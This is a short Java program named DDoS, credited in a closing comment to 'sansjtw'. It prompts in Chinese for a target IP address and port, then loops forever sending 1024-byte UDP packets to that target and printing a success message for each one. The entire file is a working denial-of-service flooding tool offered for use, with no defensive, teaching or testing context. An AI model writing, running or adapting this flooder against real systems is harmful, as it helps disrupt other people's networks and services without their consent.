import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.util.Scanner;

public class DDoS {

    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("请输入目标IP地址：");
        String targetIp = scanner.nextLine();
        System.out.print("请输入目标端口号：");
        int targetPort = scanner.nextInt();

        while (true) {
            try {
                DatagramSocket socket = new DatagramSocket();
                byte[] data = new byte[1024];
                DatagramPacket packet = new DatagramPacket(data, data.length, InetAddress.getByName(targetIp), targetPort);
                socket.send(packet);
                System.out.println("成功发送数据包至：" + targetIp + "，端口：" + targetPort);
                socket.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

// 创作: sansjtw 金条k sansjtw.xyz